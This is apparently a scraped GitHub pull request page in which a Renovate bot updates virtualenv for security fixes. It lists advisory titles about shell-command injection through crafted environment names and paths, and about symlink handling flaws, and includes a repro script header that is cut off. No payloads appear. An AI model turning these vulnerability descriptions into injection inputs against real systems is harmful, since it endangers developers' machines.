The following files are from the scanner report for ANT-2026-XBEOCBS1. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import tempfile

##### set up: a fresh h

> [!IMPORTANT]
> ✂ PR body was truncated to here.

chore(deps): update dependency virtualenv to v21.14.9 [security]

e3e5984

renovate Bot added the dependencies Pull requests that update a dependency file label Nov 9, 2026

Navigation Menu

Repository navigation

chore(deps): update dependency virtualenv to v21.14.9 [security] - #146

chore(deps): update dependency virtualenv to v21.14.9 [security]#146
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-virtualenv-vulnerability

renovate Bot commented Nov 9, 2026

Uh oh!

This branch has not been deployed

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Nov 9, 2026

virtualenv activation scripts run code from a path that contains a placeholder name

Details

Impact

Patches

Workarounds

Credits

Severity

References

virtualenv activate.fish runs commands from a path or prompt with a backslash before a quote

Details

Impact

Patches

Workarounds

Credits

Severity

References

virtualenv activate runs commands from the environment name in zsh with PROMPT_SUBST

Details

Impact

Patches

Workarounds

Credits

Severity

References

virtualenv bash activate runs commands from an environment name with a backslash before $

Details

Summary

Affected area

Attacker-controlled input

Details

Proof of concept

Impact

Versions tested

Known mitigation

Latest release

Patches

Credits

Severity

References

virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax

Details

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

Attack sequence

Reproducer files

Fix scope and remaining exposure

Impact

Versions tested

Known mitigation

Affected release

Credits

Severity

References

virtualenv: Deletion recovery can change a symlink target's mode

Details

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

Attack sequence

Reproducer files

Impact

Versions tested

Known mitigation

Affected release

Credits

Severity

References

virtualenv: Builtin creation follows linked environment directories

Details

Summary

Affected area